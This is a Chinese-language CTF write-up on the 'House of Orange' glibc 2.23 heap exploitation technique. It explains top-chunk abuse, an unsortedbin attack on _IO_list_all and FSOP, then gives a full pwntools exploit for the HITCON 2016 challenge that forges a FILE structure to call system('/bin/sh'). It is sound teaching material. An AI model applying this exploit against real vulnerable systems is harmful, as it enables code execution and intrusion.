House of Orange

C12en

2023-05-11

heap

前言

这一个house of链应该算是最早的伪造io file来达到攻击目的的链了

借助这个来熟悉一下file结构体这个链本身现在已经失去价值了只能适用于libc2.23及以前的版本

这条链可以突破没有free函数的限制并且达到劫持程序执行流的目的

File结构

File是linux标准IO库中用来描述文件的结构程序的许多操作会涉及到遍历File结构体来获取对应指针

file结构的本质上是一个链表链表头为IO_list_all 每个file结构的chain域指向下一个file结构

每个程序启动时有三个文件流是默认打开的就是stdin stdout stderr

至于vtable 是一个存放许多函数指针的结构体

house of orange所涉及到的就是伪造上述的这两个结构体从而劫持程序执行流

链路流程分析

我们知道当plmalloc初始化堆后如果bin中没有合适的chunk 就会从top chunk中分配所需要的chunk 那么如果所申请的chunk大于top chunk呢分两种情况

一种是申请的chunk的size过大需要通过mmap来分配那么这种情况分配到的chunk就会位于libc地址上的一块空间

还有一种是top chunk过小那么此时就会把top chunk释放进入unsortedbin 随后再次申请一个top chunk 从新的top chunk中分配所需要的chunk 不过释放top chunk还需要进行一次判断下面来看一下源码

/* There are no usable arenas and mmap also failed.  */
 if (av == NULL)
   return 0;

 /* Record incoming configuration of top */

 old_top = av->top;
 old_size = chunksize (old_top);
 old_end = (char *) (chunk_at_offset (old_top, old_size));

 brk = snd_brk = (char *) (MORECORE_FAILURE);

 /*
    If not the first time through, we require old_size to be
    at least MINSIZE and to have prev_inuse set.
  */

 assert ((old_top == initial_top (av) && old_size == 0) ||
         ((unsigned long) (old_size) >= MINSIZE &&
          prev_inuse (old_top) &&
          ((unsigned long) old_end & (pagesize - 1)) == 0));

 /* Precondition: not enough current space to satisfy nb request */
 assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

可以看到需要进行两次的assert检查

第一次对top chunk的大小进行检查需要大于MINSIZE 并且Prev_inuse位要为1 top chunk的addr和size加起来还要满足刚好为一个页

我们覆盖top chunk的size 使得其不足以供我们分配这个size要使得top chunk的结尾后3位为000

此时我们覆盖top chunk的size 接下来申请一个大于其size的chunk top chunk就会被释放进入unsortedbin

通过这种办法可以在程序没有给予释放chunk的函数下获得一个unsortedbin中的chunk 而在2.23及以下的版本 unsortedbin attack来任意写一个main_arena地址还是可行的这意味着我们拥有了一次任意写的机会

我们上面说到过 file结构本质是一个链表是通过链表头的IO_list_all的chain域来链接到下一个的file结构体

那么如果我们覆盖IO_list_all指针存放的值接着伪造一个file结构体把chain域覆盖成fake_file的地址就可以实现扰乱程序索引file结构体

但是unsortedbin attack任意写的功效是有限的只能写入main_arena+88的地址那么根据偏移其chain域会索引到main_arena+88+0x68处

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

而这个偏移的地址刚好是smallbins中 0x60的链表所位于的地址所以我们可以释放一个0x60大小的chunk到smallbins 随后任意写覆盖io_list_all为main_arena+88 这样索引到的下一个file结构体就是smallbin chunk 伪造file结构体就可以在这个chunk中伪造

接着是如何触发的问题只是伪造肯定不能满足劫持执行流的目的同时如何伪造也要根据触发的方式

这里涉及到了FSOP的知识点

其是通过IO_flush_all_lockp这个函数这个函数会刷新io_list_all链表中的所有文件流相当于对每个函数调用了fflush函数

而这个函数会调用到file结构体中vtable结构体中的IO_overflow函数

如下图我们这样伪造一个file结构体

其vtable也被我们所伪造来看以下vtable

将其overflow函数指针伪造成system 接下来利用gdb动调进入IO_flush_all_lockp函数看看其调用system函数时的rdi参数时什么

可以看到rdi参数实际上是我们所伪造的file结构体的首地址所以只要使得fake file的首地址为/bin/sh即可

那么如何触发IO_flush_all_lockp函数呢一共有三种选择

当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时

这里使用的是第一种办法相对来说更加通用

这个abort流程是什么呢实际上我们破坏了堆结构导致调用malloc_printerr函数来输出错误信息

至于具体是哪里的我没动调出来大致的猜测是unsortedbin的bk指向的地址没有构成完整的双向链表导致的进入while循环但是这个if分支为啥会成立就是个疑点了

if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

malloc_printerr函数种会调用__libc_message函数

这个函数的内部就调用了abort函数

而abort内部调用了_IO_flush_all_lockp函数

于是就可以调用到fake file的io_overflow函数

同时我们再来看一下_IO_flush_all_lockp函数怎样才能调用了file结构体的io_overflow函数

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
        && _IO_OVERFLOW (fp, EOF) == EOF)
      {
        result = EOF;
     }

需要使得mode小于等于0 IO_write_ptr大于IO_write_base

那么就使得io_write_ptr = 1 io_write_base = mode = 0即可

还有一点需要注意的是 main_arena+88的那个fake file 如果我们触发了_IO_flush_all_lockp函数其如果满足上面的条件也是会调用overflow函数但是很明显不能在这里就调用overflow函数

如下图 _mode的值是否为正负和aslr和pie导致的地址随机化有关所以这里存在一个概率打通的问题需要mode为负才能打通

真题分析

houseoforange hitcon 2016

add函数限制了申请chunk的size 小于等于0x1000

show函数可以打印堆块内容

edit函数存在堆溢出

但是没有释放堆块的函数同时chunk指针只能保存一个所以show和edit都只对最新申请的chunk有效

申请一个chunk会额外申请两个chunk 低地址处的chunk存放着实际分配的chunk和第三个chunk的地址

中间的chunk是实际分配的chunk 第三个chunk是用来存放price和color 不过没啥用这题的核心考点不在于这两个伴随堆块

利用上面提到的办法来使得top chunk被释放进入unsortedbin 随后申请一个chunk 就可以泄露libc基址

并且如果申请到的是一个largebin chunk 那么还可以顺便泄露一下堆地址

add(0x10,b'aaaa')
payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,b'aaaa')
add(0x400,cyclic(0x8))
show()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188
success("libc_addr :"+hex(libc_addr))
edit(0x10,cyclic(0x10))
show()
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0
success("heap_addr :"+hex(heap_addr))

接下来就是利用unsortedbin attack来往io_list_all中写入main_arena的地址

随后计算偏移构造fake file

fake_io = libc_addr + libc.sym['_IO_list_all']
system_addr = libc_addr + libc.sym['system']
payload = cyclic(0x408)+p64(0x21)+cyclic(0x10)  #填充到old top chunk
fake_file = b'/bin/sh\x00'+p64(0x60) #覆盖size 使其释放到smallbin 0x60链表
fake_file += p64(0)+p64(fake_io-0x10) #伪造bk域
fake_file += p64(0)+p64(1) #布局io_write_ptr和io_write_base
fake_file = fake_file.ljust(0xc0,b'\x00') #填充偏移
payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr) #伪造vtable结构体

随后再次进入add函数只要触发了malloc函数就可以触发fake file

完整exp:

from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node4.buuoj.cn",29861)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
    gdb.attach(io)
    pause()

def add(size,payload):
    io.recvuntil("Your choice : ")
    io.sendline(b'1')
    io.recvuntil("Length of name :")
    io.send(str(size))
    io.recvuntil("Name :")
    io.send(payload)
    io.recvuntil("Price of Orange:")
    io.send(b'aaaa')
    io.recvuntil("Color of Orange:")
    io.send(str(1))
def show():
    io.recvuntil("Your choice : ")
    io.sendline(b'2')
def edit(size,payload):
    io.recvuntil("Your choice : ")
    io.sendline(b'3')
    io.recvuntil("Length of name :")
    io.send(str(size))
    io.recvuntil("Name:")
    io.send(payload)
    io.recvuntil("Price of Orange:")
    io.send(b'aaaa')
    io.recvuntil("Color of Orange:")
    io.send(str(1))

add(0x10,b'aaaa')
payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,b'aaaa')
add(0x400,cyclic(0x8))
show()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188
success("libc_addr :"+hex(libc_addr))
edit(0x10,cyclic(0x10))
show()
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0
success("heap_addr :"+hex(heap_addr))
fake_io = libc_addr + libc.sym['_IO_list_all']
system_addr = libc_addr + libc.sym['system']
payload = cyclic(0x408)+p64(0x21)+cyclic(0x10)
fake_file = b'/bin/sh\x00'+p64(0x60)
fake_file += p64(0)+p64(fake_io-0x10)
fake_file += p64(0)+p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr)
edit(len(payload),payload)
io.recvuntil("Your choice : ")
# gdb.attach(io,'b *$rebase(0xD68)')
# pause(0)
io.sendline(b'1')
# pause()
io.interactive()